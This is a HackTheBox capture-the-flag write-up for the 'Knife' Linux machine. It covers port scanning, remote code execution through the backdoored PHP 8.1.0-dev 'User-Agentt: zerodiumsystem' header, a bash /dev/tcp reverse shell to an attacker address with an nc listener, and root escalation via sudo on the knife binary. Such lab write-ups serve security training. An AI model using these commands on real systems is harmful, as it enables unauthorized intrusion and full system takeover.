> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md). # Knife HackTheBox Writeup Knife HackTheBox Easy Linux machine writeup covering PHP 8.1.0-dev - 'User-Agent' Remote Code Execution (RCE), Abusing Sudoers Privilege (Knife Binary) (Privilege Escalation), with practical enumerati {% embed url="" %} {% hint style="warning" %} Skills: * PHP 8.1.0-dev - 'User-Agent' Remote Code Execution (RCE) * Abusing Sudoers Privilege (Knife Binary) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV 10.10.10.242 -oN targeted ```

### Port 80 - HTTP

With the **WhatWeb** tool, we identify a vulnerable version of PHP: ```bash whatweb http://10.10.10.242 # Result: PHP 8.1.0-dev ```

## **Exploitation - RCE via `User-Agent`** A vulnerability associated with the PHP user agent for this version is identified. {% embed url="" %} A vulnerability in `User-Agent` allows remote code execution. 1. **Simple command execution**/ Send an HTTP request with a modified `User-Agent`: ```bash curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');" ``` Result: The user group `james` appears in the response.

2. **Reverse Shell Obtained**/ Configure a listener on your machine: ```bash nc -nvlp 443 ``` Then send the command to execute a reverse shell: ```bash curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');" ```

3. **Improved shell experience**/ Rendre le terminal plus interactif : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag User.txt

## Privilege Escalation **Analysis of Sudo permissions** By running `sudo -l`, we observe that the user can run the `knife` binary as root:

This binary is referenced on GTFOBins as allowing privilege escalation. {% embed url="" %}

**Exploitation** Use the above command to get a root shell. ```bash sudo /usr/bin/knife exec -E 'exec "/bin/sh"' ```

### Flag root.txt :)

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